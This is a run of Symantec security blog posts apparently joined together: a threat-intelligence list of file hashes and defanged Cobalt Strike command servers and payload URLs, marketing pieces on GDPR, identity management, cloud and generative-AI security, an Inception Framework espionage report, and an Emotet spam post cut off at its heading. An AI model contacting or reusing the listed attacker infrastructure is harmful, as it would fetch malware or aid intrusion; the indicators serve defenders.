d0ae66022929c17f31ddf98d88817f0aa70a56ce2ff2df9595b8889c2d3d7e31
d92c50a91bd5b2f06f41a9a5f9937e50b78658d46e3cd04bc3a85f270ce288c2
dc3b714fd6f93c0c0cd2685b6b8cd551896855474bdd09593b8c6b4b7ab6bac2
e7684a4984d9d82115c5cc1b43b9f63a11e7ed333a4e2d92dc15b6e931634bf4
ebc3dabf0a2dafb0790be6dbb4d3509b5ce1259b955172910618a32627b3b668
ee9aefde33ed48d16ecb1c41256fc7d93ddfa8bedfa59b95e8810282ac164d0d
f35b206fe10ad3f57d9c4ecf71a2d2cc06d7c7fe905e567b989f72f147da99dc
f73738e6e33286657cda81f618a74b74745590915a8f4451e7c00473cbe89e1d
fc8a67b80b0b0ecd10dfd90820ffc64923b94c32b04dbb6929a79b9ce027563c
ffdcf74968805e9cc897ca932e4da0f22ea7b3e9b96fcc9082c0c5300ae4cb0d
Network Indicators
IPs
39.101.194[.]61 – Cobalt Strike Beacon C&C
47.92.138[.]241 – Cobalt Strike Beacon C&C
106.14.184[.]148
180.119.234[.]147
Domains
alidocs.dingtalk[.]com.wswebpic[.]com – Cobalt Strike Beacon C&C
csc.zte[.]com.cn.wswebpic[.]com – Cobalt Strike Beacon C&C
taoche[.]cn.wswebpic[.]com – Cobalt Strike Beacon C&C
URLs
hxxp://47.92.138[.]241:8090/update.exe
hxxp://47.92.138[.]241:8000/agent.exe
hxxp://47.92.138[.]241:8000/update.exe
hxxp://47.92.138[.]241:8000/ff.exe
hxxp://47.92.138[.]241:8000/aa.exe
hxxp://47.92.138[.]241:8000/runas.exe
hxxp://47.92.138[.]241:8090/a.exe
hxxp://47.92.138[.]241:8000/t.exe
hxxp://47.92.138[.]241:8000/po.exe
hxxp://47.92.138[.]241:8080/t.exe
hxxp://47.92.138[.]241:8899/t.exe
hxxp://47.92.138[.]241:8000/logo.png
hxxp://47.92.138[.]241:8080/t.png
hxxp://47.92.138[.]241:8000/frp.exe
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IDC Comments on Symantec's Integrated Cyber Defense Platform, Innovation Mindset
"Symantec is Delivering" - IDC
Symantec's recipe for innovation includes deep listening, knowledge, capability, adaptability, and passion.
Symantec recently held its 2018 Worldwide Industry Analyst Summit. As the first such gathering of industry analysts in approximately two years, the meeting gave the Symantec executive management team an opportunity to discuss the company's vision, strategy and progress with this important audience of Symantec stakeholders. Analysts also had a chance to hear from a panel of Symantec customers, and provided valuable feedback both during the conference and in exit surveys. The latter demonstrated that the vast majority of attendees emerged from the summit with a better understanding of Symantec's strategy and future direction and an improved perception of the company.
Symantec has undergone a massive change, a change led by a "forklift upgrade" of management structure that we sometimes forget happened almost two years ago. The innovation dividends of that forklift upgrade were on display.
IDC has since published a new commentary following on the heels of the conference, 2018 Symantec Worldwide Industry Analyst Summit: A Different Symantec Emerges. You can read it in full, here.
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IDC: Why GDPR will be a “game-changer”
After May 25th, a lifetime of compliance beckons for any companies in any corner of the globe that deal with data belonging to people in the EU.
At IDC, we believe that GDPR is a game-changer that fundamentally changes the business risk associated with personal data. GDPR has a global relevance because the territorial scope applies to the processing of data of people in the European Union: irrespective of where that processing is physically performed. In addition, there are strict rules over the transfer of personal data to countries outside the EU. Companies that deal with the data of people in the EU therefore are affected by GDPR, whether they know it or not.
With the deadline looming, and a lifetime of compliance after May 25th, focusing on the things that matter is essential. IDC has been researching the implementation dynamics of GDPR for the last three years, so we have a strong base of data on which to base some fundamental truths. Our research shows that there are three broad areas to focus on with GDPR.
The first is that companies must decide on their aspiration towards GDPR. This is the most important question, as it addresses the eventual outcome of any compliance program. It may seem an odd starting point for a compliance activity, but there is no checklist for GDPR. Companies must decide for themselves how to comply with the principles and specified requirements in the regulation. As the regulators themselves say, companies “must make the necessary assessments and reach the appropriate conclusions.” This is why, at IDC, we talk about some companies choosing to adopt a “pragmatic compliance” approach, while others strive to go “beyond compliance” to reach a “compliance exemplar” state. Only the board of an organisation is sufficiently authoritative to make this kind of decision.
The second area of focus is, not surprisingly, the personal data itself. Companies need to have a high degree of confidence that they know what data they retain, that they can find all instances of it, and can evidence their ability to gather it lawfully, manage and secure it, and process it according to the rights of the data subject. This is, as most of us now know, much harder to achieve than it sounds. But it is essential, and gets to the heart of GDPR principles, which are to instantiate the right of privacy as outlined in the European Convention on Human Rights.
At IDC, we are fond of saying that GDPR is all about risk, and risk awareness is the third focus area for organisations. Companies need to take a risk-based approach to their GDPR compliance activities. Only then can they decide where to place emphasis in the pursuit of compliance. Although not specifically stated, GDPR implies a requirement for a continuous state of compliance, which requires companies to be always vigilant with regards to processing personal data this requires a change to the organisational state of mind.
The three key focus areas for GDPR outlined above form the basis of a readiness assessment tool that IDC has developed in partnership with Symantec. Applying our knowledge of the key factors for success informs the short number of questions required to make an initial determination of readiness. You can try the tool yourself, for free, by following this link: Click Here
Wherever you are in your preparations, there’s no time to lose. Join ‘90 Days to GDPR’ webinar hosted by Symantec security experts helping you understand your level of readiness and giving you practical, actionable steps dependant about what stage you are ahead of the May deadline. Register now for English, French, German, Spanish, or Italian:
English
French
German
Italian
Spanish
Source: Guidelines on the application and setting of administrative fines for the purposes of the Regulation 2016/679, Article 29 Data Protection Working Party, 3rd October 2017
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Identity and Access Management Reach Inflection Point
For Symantec customers: Digital transformation, mobility and cloud mandate transition for IAM
The COVID-19 pandemic has disrupted work as we know it. But think for a moment what that work was like – and soon will be again. Consider Audrey, a hypothetical mechanical engineer who is responsible for worldwide manufacturing for a vehicle parts company: She travels between U.S. design centers and global factories; she shares CAD diagrams in video conferences from hotels, coffee shops and her home office; she incorporates insights from factory-generated big data analytics into design specifications. She’s indispensable to her company and the powerful IT capabilities that support her are indispensable to her work.
And Audrey is not alone. Across industries of all kinds, businesses have been taking a mobile-first approach to employees at every level, even as those businesses digitally transform themselves at every level. As companies ride out the pandemic, many are taking a remote-first approach to workers. What’s more, they are likely to be accelerating their digital transformation projects, implementing web applications that pull in data from on-premises and cloud-based sources to automate processes and guide decision-making.
Our world of work is different today, yet some organizations persist in implementing the Identity and Access Management (IAM) of yesteryear...
It’s a far cry from, when workers accessed centralized databases from fixed locations. Mobile users were the exception and had limited data access because bandwidth was at a premium. In this world, setting up a protective perimeter made sense. Web Access Management provided single sign-on and single sign-off for web applications. Security was implemented separately for each application.
Our world of work is different today, yet some organizations persist in implementing the Identity and Access Management (IAM) of yesteryear, oblivious to the disruption that has taken place thanks to mobility and digital transformation. A fresh approach is needed. Identity and Access Management must take up the gauntlet of disruption and disrupt outdated perimeter-based security.
The new IAM must be integrated into the fabric of applications. Instead of a single broad perimeter, the new IAM architecture is based on many microperimeters, each a single user, session, device or application. The new IAM has these characteristics:
Contextual and omnipresent. Identity doesn’t occur in a vacuum, but in a context of the user’s activity, device, session and application, with continual monitoring and adjustment.
Risk-based authentication. Each access request poses a different level of risk according to user device and data sensitivity. Authentication must correspond to the level of risk.
Relief from authentication fatigue. Users need not identify themselves over and over, which was once required when each application had its own security requirements.
Identity itself is the perimeter. By considering the unique characteristics and needs of each user, device and session, the appropriate security measures are applied to each identity.
That’s where we need to go. How do we get there? You can’t wave a magic wand over your enterprise, say a few magic words, and voilà it happens! And you can’t issue a top-down mandate that changes all the rules overnight. Although the new IAM disrupts the old, what is needed is a gradual transition to bring identity services closer to the applications.
Start by looking at things from the user’s point of view and make sure the user gets the same experience – seamless single sign-on and single sign-out – regardless of the channel. The old perimeter-based approaches won’t go away overnight but will exist alongside your new microperimeter approach to IAM for a certain period of time. In some markets, businesses might want to consider adding the distributed identity capabilities of blockchain to the mix.
Bottom line: You need to make IAM “just work,” not just for Audrey but for all workers, as well as your company’s customers and partners. There is more to say about all this, so please look for my upcoming blog entries on this subject. Next will be a close look at modernized IAM.
Download my whitepaper below for more information as well.
Webinar - The Rise of the Decentralized Identity Platform
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If CISOs Are from Mars, Is the Rest of the C-Suite from Venus?
An increasingly dangerous threat landscape makes it more vital than ever to bridge the communications divide that’s grown up over the years.
Gone are the days when a chief security officer (CISO) could remain a behind-the-scenes player, tasked solely with responsibility for an organization’s technology operations.
Cyber attacks, ransomware and privacy are no longer niche issues and lost customer trust due to a security breach can lead to major damage to brand and bottom line alike. That’s why as more enterprises digitize their data, CISOs are being asked increasingly to step outside their traditional comfort zone and work more intimately with C-suite executives and company boards.
This is a transformation that needs to happen if companies are going to bridge an unnecessary divide that’s grown up over the years, sometimes leading to a dialogue of the deaf between different parts of the same organization.
But how can CISOs effectively communicate business impacts with their executive team and board while still demonstrating their technical competence and security expertise? What tools can they use to better communicate? What are the different roles they need to fulfill to survive a crisis? Let’s take a closer look.
Aligning Security Operations with Business Objectives
Just how aligned are CISOs with an enterprise’s core business operations? This remains the proverbial work in progress. When the Ponemon Institute studied the evolving role of CISOs and their importance to their businesses, 60% of respondents said their organizations’ security was considered to be a business priority, but only 22% confirmed that security was being integrated with business functions. And that, according to Ernie Hayden, a security consultant and four-time CISO, constitutes a serious obstacle.
“It’s absolutely imperative that CISOs understand the business,” he said. “Without that, they can’t do their jobs, even the most basic things like understanding which data is important and needs to be protected.”
This can be particularly problematic when you consider that only 18% of CISOs have a management background or as much work experience as members of their board and C-suite. All the more imperative, then, that CISOs spend more time with their enterprise’s business executives and boards and also change their traditional ways of communicating with them, in order to better learn the business.
“The CISOs who fail and don’t survive are the ones who come into the board room or executive suite and start ranting and raving about things like packets and switches,” Hayden said. “What they need to do instead is learn about the business and talk about the business impacts of security. For example, they can explain the newest emerging threats and detail the precise ways their business can be hurt by them, perhaps by using examples in the news.”
Learning Better Ways to Communicate
CISOs also need to use the right tools for communicating with executives and board members, which Hayden says are Microsoft Word, PowerPoint and Excel. As for the kind of security and technical information they’re communicating, he’s a big believer in the keep-it-simple rule: “Keep it elementary and rely heavily on metaphors.”
Also, it’s important to be proactive and not wait to talk to executives and board members after the company has been attacked. Instead, Hayden suggested regular check ins with their opposite numbers on the business side so that CISOs become part of the company’s everyday operations.
Chris Veltsos, a professor in the Department of Computer Information Science at Minnesota State University, echoed that approach. In a recent post on how to improve the CISO-Board relationship, Veltsos attached major importance to increasing the amount of interaction between CISOs, the board and the C-suite to “build and manage the trust that the organization’s leadership and customers rightfully expect.”
“Such interactions will also provide the CISO with the opportunity to determine the level of background knowledge board directors have about cyber security,” he continued. “For some, interactions may need to start at a basic level, such as with tablets and smartphones, and cover the risks inherent in all technologies.”
Taking Their Turn in the Spotlight
Over the years, there have been periodic calls for CISOs to become true C-Suite business leaders. But with cyber attacks getting more frequent and more destructive, there’s more urgency speed this transformation.
Indeed, CISOs are most visible during crises like cyber attacks, and are judged based on how they respond to them. And that’s where better and constant CISO interaction with the board and C-level executives pays off.
Using the information gleaned from those relationships, CISOs can take center stage and fulfill the multiple roles required of them. That includes internal interactions with stake holders in the business, dealing with newspapers and other aspects of public relations and external communications, and understanding the regulatory implications of the crisis if the business is a heavily regulated one.
Communicating better and more regularly with the board and top executives will help someone become a better CISO because they’ll be able to assume a more holistic view of the business, according to Hayden.
“The board and executives don’t really care if you’ve got a degree in computer science and 120 computer science certifications,” he said. “They want to see that you can solve security problems in ways that benefit the business. Ultimately, they don’t care about technology. They care about end results.”
If you found this information useful, you may enjoy:
CISOs with Business Chops
How Best to Communicate with Your Board of Directors on Your Company’s Security Posture
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If You’re Moving to the Cloud, Don’t Settle for Half Measures
One byproduct of the cloud’s unchecked growth is that companies aren’t paying enough attention to some awfully big threats
Rarely a week passes anymore without further reminders that cloud computing is rapidly transforming the enterprise. And as more organizations recognize the financial and operational benefits of moving their digital data and on-premises workloads to the cloud, the momentum will continue unabated in what is shaping up to be a remarkable tech transition.
So, what’s not to like?
No doubt that it all looks great on the surface. But as a security guy, I’m sensitive to the wider ramifications of adopting a new technology or process on a business’s defenses. And one byproduct of the cloud’s unchecked growth is that companies aren’t paying enough attention to some awfully big threats.
As a result, they’re leaving themselves increasingly vulnerable to attacks from clever cyber criminals eager to steal enterprise data and other valuable intellectual property. Let’s take a closer look at some of the potential trouble spots.
A World of Trouble
Many of the cloud apps used by employees aren’t even vetted by their organizations. Many departments now bypass IT and provision what they want on their own. This phenomenon of Shadow IT creates all kind of new security risks - not the least being that more apps than ever are outside of IT’s physical control, leaving the company blind about what data is getting exposed when employees bypass the traditional security stack securing sanctioned cloud applications (e.g. the ones that IT and Security have approved). In a digital business - and increasingly all businesses are turning into digital organizations - you’re heading for serious trouble if sensitive data starts flowing into unsanctioned cloud apps.
As their cloud and web traffic soars, organizations find they are facing a new challenge – a surge in encrypted traffic. Nearly 80% of internet traffic is now encrypted using some form of SSL/TLS encryption. Encryption is usually a fine thing, helping to secure information and protect privacy. But there is a dark side (no pun intended). Encryption can make a lot of your existing network security stack, the stack that you depend on to prevent threats and secure your information – blind. Cyber criminals realize this as well, which is why Gartner expects nearly 50% of malware attacks this year to use some form of encryption to hide themselves. You need to deal with that challenge. If traffic isn’t inspected properly the bad guys will use encryption to bypass security, get on to your users’ devices and cause a world of trouble.
Cyber criminals are coming up with more and more advanced threats – some don’t even require users to download a document or click on a malicious URL to put their organizations at risk. These advanced attacks take advantage of vulnerabilities that exist in web browsers or poor coding techniques on websites themselves that allow cyber criminals to deliver malware to anybody who happens to browse these sites.
Companies wind up paying a hidden performance tax as the price for enabling an increasingly mobile workforce. Their employees have cut the tether that once kept them chained to their desks and now can work wherever - all that’s required is a connection to the cloud. So, what’s the problem?
Well, consider what this means in practice. The cloud has become the “Great Disseminator” of your data. Users demand direct access to the cloud apps they need to do their jobs. But the most efficient path to those apps – a straight line - isn’t the line that is typically followed. Most organizations invest a lot of coin to first backhaul all of this remote branch traffic to their corporate data centers for deep and thorough inspection. And that’s understandable; Internet traffic is the riskiest from a threat prevention and data leakage perspective and IT and security require that it to pass through the security stack in place back at headquarters.
But this is also a super-inefficient way to go about securing data and, depending on your architecture, can exact a big performance penalty. And once you do the math and calculate how much you are spending backhauling this ever-increasing amount of internet traffic, you’ll understand why the T1/MPLS charges are growing so quickly.
Thinking About a Solution
As the cloud transforms IT, it’s creating myriad network challenges around security and data. So, as you take stock of your cloud security situation, make sure to factor these considerations into any assessment:
You want top-shelf threat prevention and information security inspection technologies that can quickly scan traffic – even encrypted traffic going back and forth to the internet. Your stack needs to fully inspect traffic before it gives it the green light to pass. Unlike Next Generation Firewalls (NGFWs), secure web gateway proxies are designed to do this, and are designed to inspect encrypted traffic at scale, so they should play a role in your cloud and internet defenses.
Make sure your inspection approach has multiple layers that are proven to be more effective than the competition (e.g. insist on test results). You want a defense in depth approach, such as combining multiple anti-virus scanning with sandboxing, that will identify the highest amount of threats while keeping false positives to a minimum.
Don’t get caught in a trap where you have less effective security and compliance policies protecting your remote users as compared to your HQ workers. You need to be able enforce consistent security and compliance policies for all users, regardless of their location or what device they use. And you should be able to manage it all in one policy dashboard that allows you to define security and compliance policies once and push them to your entire stack – in the cloud and on-premise.
No more “backhauling.” Security should get enforced as traffic is going direct to the internet. If your cloud-security provider has architected their network properly to work with cloud applications like Office 365, your users will get better performance and security and you will get a significantly lower monthly backhauling bill!
To meet data compliance and information security requirements, you need to know what information is going out to the web and the cloud. For example, if data is getting sent to Box, does that violate the company’s compliance polices? If there’s sensitive IP, does it need additional protection like encryption? If so, then you need to be able to enforce access rights, establishing rules governing who in the company is authorized to view those encrypted documents.
Leverage Cloud Access Security Broker (CASB) capabilities that will help identify what cloud apps employees use. You need to view attribute data on these clouds, such as the types of certifications their datacenters have or if they enforce mult-factor authentication for access, so you can assess their relative risk to your business. Then you need tools that let you manage cloud application access so you can shut down access to non-compliant clouds and enforce security policies, such as scanning downloads for malware, on the clouds that you choose to leave in place.
Lastly, you should have a way to get alerts when something suspicious occurs in any cloud accounts. For example, advanced CASB tools can leverage User Behavior Analytics (UBA) to spot behavior patterns that are indicative of compromised cloud application account credentials. Lights should start flashing when an intruder gets their hands on an employee’s Salesforce.com account and starts exfiltrating your company’s entire pipeline information to their Box account!
Without the proper tools, many of you are likely playing it ultra-conservatively, blocking a lot of web traffic that turns out to be harmless. No harm in being cautious, though it doubtless will leave many employees upset since they cannot get to the websites they need to do their jobs.
More recently, though, new technologies have emerged that eliminate needing to make these “either-or” decisions.
For example, web isolation lets administrators send certain types of traffic down a path where the browser session is executed in a virtual isolation chamber, away from any endpoints, transmitting only safe rendering information to a user’s browsers. That way you can still allow employee access to sites you otherwise might have blocked (and avoid further nastygrams.) More importantly, though, you’re assured that no website winds up delivering Zero-Day malware to the organization.
What I’ve described in this blog involves a lot of capabilities that all need to work together well. That is why getting them in a fully integrated cloud platform makes perfect sense.
All of it - a full cloud network security stack including Secure Web Gateway proxy, Data Loss Prevention, Advanced Threat Prevention, CASB, and Web Isolation - envelopes your data, apps and users with security wherever they go. Protection from advanced threats, compliance for sensitive information, and controls enabling secure and compliant cloud application use – all from a resilient, high performance global cloud service. This is what will secure you and your users going forward.
So – go ahead and go all in on the cloud. Just make sure you remember to do it for your security stack as well!
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Implications of Generative AI for Enterprise Security
The rise of Generative AI
Generative AI has quickly changed what the world thought was possible with artificial intelligence, and its mainstream adoption may seem shocking to many who don’t work in tech. It inspires awe and unease — and often both at the same time.
So, what are its implications for the enterprise and cybersecurity?
A Technology Inflection Point
Generative AI operates on neural networks powered by deep learning systems, just like the brain works. These systems are like the processes of human learning. But unlike human learning, the power of crowd-source data combined with the right information in Generative AI means that processing answers will be light years faster. What might take 30 years for an individual to process could take just an eyeblink. That is a benefit that can be derived depending on the quality as well as massive amounts of data that can be fed into it.
It is a scientific and engineering game-changer for the enterprise. A technology that can greatly improve the efficiency of organizations – allowing them to be significantly more productive with the same number of human resources. But the shock of how fast Generative AI applications such as ChatGPT, Bard, and GitHub Copilot emerged seemingly overnight has understandably taken enterprise IT leaders by surprise. So fast that in just six months, the popularization of Generative AI tools is already reaching a technology inflection point.
The Cybersecurity Challenges
Generative AI, including ChatGPT, is primarily delivered through a software as a service (SaaS) model by third parties. One of the challenges this poses is that interacting with Generative AI requires providing data to this third party. Large Language Models (LLMs) that back these AI tools require storage of that data to intelligently respond to subsequent prompts.
The use of AI presents significant issues around sensitive data loss, and compliance. Providing sensitive information to Generative AI programs such as personally identifiable data (PII), protected health information (PHI), or intellectual property (IP) needs to be viewed in the same lens as other data processor and data controller relationships. As such, proper controls must be in place.
Information fed into AI tools like ChatGPT becomes part of its pool of knowledge. Any subscriber to ChatGPT has access to that common dataset. This means any data uploaded or asked about can then be replayed back within certain app guardrails to other third parties who ask similar questions. It’s worth noting that this is very similar to software-as-a-service (SaaS) application problems as it can impact the response of future queries when used as a training set. As it stands today, most Generative AI tools do not have concrete data security policies for user-provided data.
The insider threat also becomes significant with AI. Insiders with intimate knowledge of their enterprise can use ChatGPT to create very realistic email. They can duplicate another’s style, typos, everything. Moreover, attackers can also duplicate websites exactly.
What Enterprises Need for Security
Fortunately, there are Generative AI Protection solutions, such as Symantec DLP Cloud, Adaptive Protection on Symantec Endpoint Security Complete (SESC), and real time link in email security that address these emerging challenges and block attacks in different, targeted ways.
Symantec DLP Cloud extends Generative AI Protection for enterprises, with the capabilities they need to discover, and subsequently monitor and control, interaction with generative AI tools within their organizations. Among other benefits, DLP can use AI to speed incident prioritization, helping senior analysts to triage the most significant and recognize those that are not a critical threat to the enterprise.
The benefits include:
Provide enterprises with the capability to understand the risks they're subject to, on a per tool basis with Generative AI.
Allow the safe and secure use of popular AI tools by supplying the necessary safeguards for blocking sensitive data from being uploaded or posted intentionally or inadvertently.
Identify, classify, and document compliance for PHI, PII, and other critical data.
The bottom line: Symantec Generative AI Protection allows enterprises to “say yes” to generative AI’s productivity enhancing innovations without compromising data security and compliance.
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Inception Framework: Alive and Well, and Hiding Behind Proxies
Espionage group has remained active over the past three years, using cloud and IoT to hide in plain sight.
The cyber espionage group known as the Inception Framework has significantly developed its operations over the past three years, rolling out stealthy new tools and cleverly leveraging the cloud and the Internet of Things (IoT) in order to make its activities harder to detect.
Since 2014, Symantec has found evidence of a steady stream of attacks from the Inception Framework targeted at organizations on several continents. As time has gone by, the group has become ever more secretive, hiding behind an increasingly complex framework of proxies and cloud services.
History of stealthy attacks
The Inception Framework has been active since at least May 2014 and its activities were first exposed by Blue Coat (now part of Symantec) in December 2014. Right from the start, the group stood out because of its use of an advanced, highly automated framework to support its targeted attacks. This level of sophistication is rarely seen, even in the targeted attacks sphere. The nature of Inception’s targets, from 2014 right through to today, along with the capabilities of its tools, indicate that espionage is the primary motive of this groups
In 2014, Inception was compromising targeted organizations using spear-phishing emails, which masqueraded as legitimate emails concerning international policy, upcoming conferences, and specific sectoral interests of the targeted organization.
More than half of the group’s earlier targets were in the Energy or Defense sectors, but it also targeted organizations in the Consultancy/Security, Aerospace, Research, and Media sectors, in addition to embassies. Its activities ranged across the globe, with targets located in South Africa, Kenya, the United Kingdom, Malaysia, Suriname, along with several other European and Middle Eastern countries.
Word documents attached to Inception’s spear-phishing emails leveraged two Microsoft Office vulnerabilities (CVE-2014-1761 and CVE-2012-0158) to install malware on the recipient’s computer. The malware had a multi-staged structure that began with a malicious RTF document and ended with an in-memory DLL payload that communicated, via the WebDAV protocol, with a command and control (C&C) address from a legitimate cloud service provider (CloudMe.com). The name “Inception” comes from the group’s many levels of obfuscation and indirection it employed in delivering this payload.
Further layers of obfuscation emerged when Blue Coat was able to determine that the attackers were communicating with CloudMe.com through a hacked network of compromised routers, the majority of which were located in South Korea.
Stepping out of the shadows once again
Following its exposure in late 2014, Inception fell quiet. However, this turned out to be only a brief hiatus and, by April 2015, there had been a resurgence in activity. Attacks have continued since then, right through to 2017.
Figure 1. Inception Framework attacks 2015-2017
In the intervening years, the Inception Framework has evolved, adding additional layers of obfuscation in a bid to avoid detection. The group is using new types of lure documents in its spear-phishing campaigns and its malware has expanded to use new types of plugins. Inception has also increased its use of the cloud, and diversified the range of cloud providers it uses for C&C purposes.
Figure 2. Locations of organizations targeted by Inception, 2015-2017
The locations of Inception’s targets have shifted since 2014, but the group continues to have a global reach. Russia accounted for the largest number of attacks between 2015 and 2017, followed by Ukraine, Moldova, Belgium, Iran, and France.
An evolved attack framework
Since 2014, the Inception Framework has steadily changed its tools and techniques. In its early attacks, the group’s malware payload (with the exception of plugins) was fully contained within an exploit document emailed to the victim. In more recent activity, these spear-phishing attacks are now a two-stage process. The group will first email the target a malicious “Reconnaissance document” which, if opened, will fingerprint the target computer, gathering information on what software it is running and whether that software is up to date.
Several days later, Inception will send a second spear-phishing email to the target, with another malicious document attached. This document is designed to retrieve a remote RTF file, which contains the exploit, and open it on the target’s computer.
Shortly after this RTF document is opened, the remaining stages of the Inception malware are found executing on the system. The loader DLL is responsible for decrypting and injecting the core payload DLL into memory, from an encrypted file present on disk. The core payload DLL's main function is to gather system information, execute other malware in the form of plugins, and update itself. It accesses C&C via WebDAV hosted on legitimate cloud storage providers.
The use of an initial reconnaissance document allows Inception to profile the target’s computer and potentially customize any subsequent malicious document to exploit known vulnerabilities in unpatched software on the computer.
By breaking its attacks up into distinct stages, Inception also makes them harder to detect. For investigators to trace an attack, each stage will have be uncovered and referenced to the other stages.
Modular malware
Inception’s malware is modular and the attackers will load plugins based on requirements for each attack. The group has used a range of plugins in recent attacks, some of which are improved versions of plugins used in 2014, while others were previously unseen.
File hunting plugin: The most frequently used plugin, similar to one used in 2014. Often used to collect Office files from temporary internet history.
Detailed survey plugin: Used to gather domain membership, processes/loaded modules, hardware enumeration, installed products, logical and mapped drive information. Evolution of earlier plugin used in 2014.
Browser plugin: Used to steal browser history, stored passwords and sessions. Works with Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex.
File listing plugin: Works on local or remote drives and can map additional paths when given credentials.
Expanding use of the cloud
Since 2014, Inception has widened its use of cloud service providers for C&C purposes. Whereas previously it relied on one service provider (CloudMe.com), more recently it has employed a least five cloud service providers
Leveraging the cloud for C&C has a number of advantages for groups like Inception. Any C&C communications will involve encrypted traffic to a known website, meaning it is less likely to raise flags on targeted networks. Legitimate cloud services are not likely to be blacklisted.
Varying the cloud service provider used adds a further degree of stealth. Once it became known Inception was using a single provider, any traffic to that provider may have attracted additional scrutiny.
Symantec has notified all cloud providers affected. Where possible Symantec has provided details on the C&C accounts used by Inception to the affected cloud providers. The accounts in questions have been deleted or disabled.
Using IoT to hide behind proxies
Inception is continuing to use chains of infected routers to act as proxies and mask communications between the attackers and the cloud service providers they use. Certain router manufacturers have UPnP listening on WAN as a default configuration. Akamai research has found that there are 765,000 devices vulnerable to this attack. These routers are hijacked by Inception and configured to forward traffic from one port to another host on the internet. Abuse of this service requires no custom malware to be injected on the routers and can be used at scale very easily. Inception strings chains of these routers together to create multiple proxies to hide behind.
"#InceptionFramework evolved, rolling out new tools & hiding behind increasingly complex array of proxies & cloud services symc.ly/2GsqXra"
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Every connection builds different chains of infected routers and once the connection is complete, it cleans up after itself. In several cases, Symantec has been able to follow the entire chain of compromised routers and found it led to a virtual private server (VPS), meaning the attackers have employed an additional layer of security by routing communications through rented hosting servers.
Mobile devices targeted
Inception has an ongoing interest in mobile devices and has previously developed malware to infect Android (Android.Lastacloud), iOS (IOS.Lastaccoud) and BlackBerry devices (BBOS.Lastacloud).
Mobile malware continues to be deployed and the group has made some modifications to its Android malware. The malware is spread via SMS messages and emails containing malicious links. Once installed, it uses user profile pages on online forums as dead drops for its C&C.
Figure 3. Malicious SMS message used by Inception to spread Android malware
Persistence, stealth, and global reach
Even prior to its discovery in 2014, Inception went to great lengths both to avoid detection and conceal its location. Exposure hasn’t deterred the group. Instead, it has redoubled its efforts, adding more layers of obfuscation to an already complex attack framework. Its persistence, stealth, and global reach mean the group continues to pose an ongoing risk to organizations, particularly in its areas of interest, which include defense, aerospace, energy, governments, telecoms, media, and finance.
Aside from a suite of advanced modular malware, the group is notable for its ability to make use of new platforms such as the cloud, IoT, and mobile to facilitate its attacks. An “early adopter”, Inception’s tactics may point the way towards how other espionage groups may modify their methods in years to come.
Protection
Symantec has had protection for all of the Inception Framework tools since the initial emergence of the group in 2014. The following detections are in place today:
File-based protection
Infostealer.Rodagose
Trojan.Rodagose!g1
Trojan.Rodagose!g2
Trojan.MDropper
Mobile
Android.Lastacloud
BBOS.Lastacloud
IOS.Lastacloud
Network Protection Products
Malware Analysis Appliance detects activity associated with Inception
Customers with Webpulse-enabled products are protected against activity associated with Inception
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Incoming: Airborne Cyber Attacks No Longer the Stuff of Sci-Fi
From RSA: The prospect of virus-like cyber attacks spreading over the air may sound like science fiction but it’s shaping up to be the next major field of battle with hackers
One if by land. Two if by sea. How about Three by airborne internet attack?
CISOs will soon need to protect their organizations from virus-like cyber attacks that require little more than for victims to turn on their Bluetooth settings.
“Airborne threats don’t require users to open up an email from a Nigerian prince,” said Nadir Izrael, CTO and co-founder of IoT security startup, Armis. “There are lots of different parts to how wireless communications work and all are vulnerable.”
He said the discovery last year of a security flaw that allows attackers to attack Bluetooth devices was a likely harbinger as more organizations add connected devices to their networks. Last November, both Amazon and Google issued updates to protect their smart speaker devices from a security exploit called BlueBorne, which is activated via Bluetooth, to spread an airborne attack.
Experts have warned for some time about the relative absence of security in connected devices. Indeed, Symantec last year cautioned that voice-activated smart speakers may endanger people’s privacy and online security as the range of activities that can be carried out by these speakers means that a hacker could cause havoc if they gained access.
That challenge is compounded by the presence of significant vulnerabilities in popular wireless protocols used by billions of devices.
Indeed, Izrael used his presentation at the RSA Conference in San Francisco on Wednesday to demonstrate how a hacker can gain control of an Amazon Echo to launch an attack against an enterprise. It took him less than 5 minutes to compromise an Echo hooked up to a network and then take aim at the target. He also showed how easily it was to use Bluetooth to access a device’s media access control address to initiate a man-in-the-middle attack without needing any user interaction.
“This can spread from device to device,” he said, noting the challenge to security practitioners to identify and block attacks traveling through this new airborne vector before they can spread from device to device. “Once infected, the [compromised] device can go on to affect other devices,” he said.
The emergence of seemingly self-propagating attacks transmitted wirelessly presents another dilemma for security practitioners already scrambling to retrofit a myriad of IoT devices to compensate for their poor security design. Smart speakers are showing up in more offices – Izrael cited a survey commissioned by Armis that found 82% of US companies reported having an Amazon Echo in their computing environment – but so are any number of other devices newly equipped with internet intelligence, such as smart TVs and security cameras.
As billions of these new IoT devices come online, Gartner predicts that companies will need to increase their security spending by up to 25% by 2020 to address the cyber security and physical safety concerns associated with IoT.
Now it’s a race against the clock. If IT is slow to get a handle on these new, unmanaged devices, it’s just a matter of time before malicious hackers figure out how to exploit them to drop a new malware payload.
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Increase in Emotet Spam Observed, Blocked by Symantec
As Emotet activity increased, Symantec blocked as many as 1 million Emotet spam emails per day
At the end of 2018, it appeared that the Emotet group had gone dark when its malware campaigns greatly reduced in size. There was another major decline in the summer months of 2019; however, in September 2019, there was an increase in activity (over 100 percent) with Emotet’s (Trojan.Emotet) command and control (C&C) servers delivering a new wave of malicious binaries.
Figure 1. Emotet activity increases significantly in September 2019
As the months went on, we noticed that the volume of malware sent from the C&C servers was increasing. At times, over 1 million hits per day were being blocked by Symantec’s various protection services. Customers using Symantec Messaging Gateway (SMG) or the Email Security.cloud service have even greater protection as these malicious emails are blocked before reaching the end user. Our telemetry showed a blocking volume increase with these technologies. However, because these technologies were able to stop the attacks successfully at an earlier stage in the attack chain, it caused a reduction in the need to use endpoint protection for blocking. Products like Symantec SMG and Email Security.cloud provide a way to block malware at the cloud level before it reaches your network.
What is Emotet?
Emotet started out as a banking Trojan focused on stealing user information by sniffing networks. Over the years, Emotet has evolved by constantly updating its codebase and sophisticated evasion techniques.
The Emotet criminals are known to run their botnet as a Malware-as-a-Service (MaaS), enabling other threat actors to easily distribute various malicious payloads such as AZORult (Infostealer.Rultazo), IcedID (Trojan.IcedID), TrickBot (Trojan.Trickybot) etc.
Latest Emotet Malspam
